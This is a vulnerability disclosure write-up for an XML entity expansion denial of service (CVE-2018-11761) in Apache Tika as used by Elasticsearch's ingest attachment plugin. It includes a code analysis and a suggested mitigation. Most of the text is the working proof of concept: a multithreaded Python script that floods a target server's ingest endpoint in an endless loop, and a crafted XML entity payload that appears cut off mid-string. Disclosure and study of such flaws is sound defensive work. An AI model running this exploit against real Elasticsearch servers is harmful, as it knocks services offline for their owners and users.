标签归档：Apache Tika

漏洞挖掘

Apache Tika Denial of Service Vulnerability (CVE-2018-11761)

Summary

In a recent research on Apache Tika, I found a DOS (Denial of Service) vulnerability existed on its XML parser. It is caused that the parser improperly parses XML document.

Affected Version

  • Tested on ElasticSearch 6.3.1 (using Tika 1.18) and 6.2.3 (using Tika 1.17)

Analysis

As we know, the core ingest attachment plugin lets Elasticsearch extract file attachments in common formats (such as PPT, XLS, and PDF) by using the Apache text extraction library Tika. So, let’s take a look at the source code of ingest attachment plugin. 

/** subset of parsers for types we support */
private static final Parser PARSERS[] = new Parser[] {
    // documents
    new org.apache.tika.parser.html.HtmlParser(),
    new org.apache.tika.parser.rtf.RTFParser(),
    new org.apache.tika.parser.pdf.PDFParser(),
    new org.apache.tika.parser.txt.TXTParser(),
    new org.apache.tika.parser.microsoft.OfficeParser(),
    new org.apache.tika.parser.microsoft.OldExcelParser(),
    ParserDecorator.withoutTypes(new org.apache.tika.parser.microsoft.ooxml.OOXMLParser(), EXCLUDES),
    new org.apache.tika.parser.odf.OpenDocumentParser(),
    new org.apache.tika.parser.iwork.IWorkPackageParser(),
    new org.apache.tika.parser.xml.DcXMLParser(),
    new org.apache.tika.parser.epub.EpubParser(),
};

Actually, the plugin uses org.apache.tika.parser.xml.DcXMLParser() as a parser to extract contents from a XML file. Upon further investigation, we can see the following invocations: 

public static SAXParserFactory getSAXParserFactory() {
    SAXParserFactory factory = SAXParserFactory.newInstance();
    factory.setNamespaceAware(true);
    factory.setValidating(false);
    try {
        factory.setFeature(
                XMLConstants.FEATURE_SECURE_PROCESSING, true);
    } catch (ParserConfigurationException e) {
    } catch (SAXNotSupportedException e) {
    } catch (SAXNotRecognizedException e) {
        // TIKA-271: Some XML parsers do not support the
        // secure-processing feature, even though it's required by
        // JAXP in Java 5. Ignoring the exception is fine here, as
        // deployments without this feature are inherently vulnerable
        // to XML denial-of-service attacks.
    }
 
    return factory;
}

In the function above, we can see very limited security restrictions for SAXParserFactory.newInstance() object: 

factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);

According Oracle’s explanation, when XMLConstants.FEATURE_SECURE_PROCESSING is enabled, it instructs the implementation to process XML securely. This may set limits on XML constructs to avoid conditions such as denial of service attacks.

But, actually it’s unable to completely prevent against XML Entity Expansion. An attacker still can send crafted XML document to the ES server to do DoS attack via XML Entity Expansion vulnerability as mentioned in the section Proof of Concept. I checked Apache Tika source code that they only enable XMLConstants.FEATURE_SECURE_PROCESSING feature, which they could think it can protect from this type of attack per this article since it limits the number of entity expansions to 64,000 by default. But actually, we can still leverage these 64,000 entity expansions to generate an amplification XML object in memory, e.g. the file size of ES_XML.xml in the POC is only around 64KB, but once it is uploaded to the backend Tika server on ES server, Tika will have to allocate at least 6MB memory (6MB / 64KB = 100 times) to parse it, which leads to CPU utilization increasing rapidly.

Therefore, from my understanding, one possible fix could be, to set the following system property would greatly limit the impact as per the Oracle document: 

jdk.xml.entityExpansionLimit=1

Proof of Concept

The following demonstration is tested and verified on ElasticSearch 6.3.1 which is using Tika 1.18:

  • Create a POC script and save as poc_dos_es.py. 
# Title: ElasticSearch Ingest Attachment Plugin DOS vulnerability
# Author: avfisher
# Affected version: Tested on ES 6.3.1 and ES 6.2.3 (but all versions could be impacted as well)
# Time: 2018-07-23
# Example: 
# python poc_dos_es.py 127.0.0.1 9200 ES_XML.xml 5

import requests
import sys
import base64
import json
import threading
import sys


headers = {"Content-Type" : "application/json"}


class ExploitThread(threading.Thread):
    def __init__(self, es_ip, es_port, mal_xml_file, thread_index):
        threading.Thread.__init__(self)
        self.es_ip = es_ip
        self.es_port = es_port
        self.mal_xml_file = mal_xml_file
        self.thread_index = thread_index
        self.num = 1

    def create_ingest_att_pipeline(self, url):
        pipeline_url = "{}/_ingest/pipeline/attachment".format(url)
        data = {
            "description" : "Extract attachment information",
            "processors" : [{
                "attachment" : {
                    "field" : "data",
                    "indexed_chars": "-1"
                }
            }]
        }
        res = requests.put(pipeline_url, headers=headers, data=json.dumps(data))
        if res.status_code == 200:
            print("[+] [Thread {}] [No. {}] pipeline created successfully, res: {}".format(self.thread_index, self.num, res.text))
        else:
            print("[!] [Thread {}] [No. {}] failed to create pipeline, res: {}".format(self.thread_index, self.num, res.text))

    def send_payload(self, url, payload):
        ingest_url = "{}/my_index/_doc/1?pipeline=attachment".format(url)
        data = {
            "data": payload
        }
        res = requests.put(ingest_url, headers=headers, data=json.dumps(data))
        print("[+] [Thread {}] [No. {}] response from es clusters: {}".format(self.thread_index, self.num, res.text))

    def verify_mal_doc(self, url):
        ingest_url = "{}/my_index/_doc/1".format(url)
        res = requests.get(ingest_url, headers=headers)
        if res.status_code == 200:
            print("[+] [Thread {}] [No. {}] res: {}".format(self.thread_index, self.num, res.text))
        else:
            print("[!] [Thread {}] [No. {}] failed to verify res: {}".format(self.thread_index, self.num, res.text))

    def run(self):
        url = "http://{}:{}".format(self.es_ip, self.es_port)
        
        with open(self.mal_xml_file, 'rb') as f:
            content = base64.b64encode(f.read())
        
        self.create_ingest_att_pipeline(url)
        while True:
            print("[+] [Thread {}] [No. {}] trying to send malformated payload...".format(self.thread_index, self.num))
            self.send_payload(url, content)
            self.num += 1
            #self.verify_mal_doc(url)


if __name__ == "__main__":
    # ES server's IP, Port
    es_ip = sys.argv[1] 
    es_port = sys.argv[2]
    # Crafted XML file
    mal_xml_file = sys.argv[3]
    # Number of Processes
    thread_num = int(sys.argv[4])   
    for i in range(thread_num):
        i += 1
        t = ExploitThread(es_ip, es_port, mal_xml_file, i)
        t.start()

  • Create a crafted XML document and save as ES_XML.xml. 
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE foo [
<!ENTITY a "1234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000000000000000001234567890000000000000000000000000000000000000000000000000000000000000000000000000000012345678900000000000000000000000000000000000000000000000000000000000000000000000000000123456789000000000000000000000000000000000000000000000000000000000000000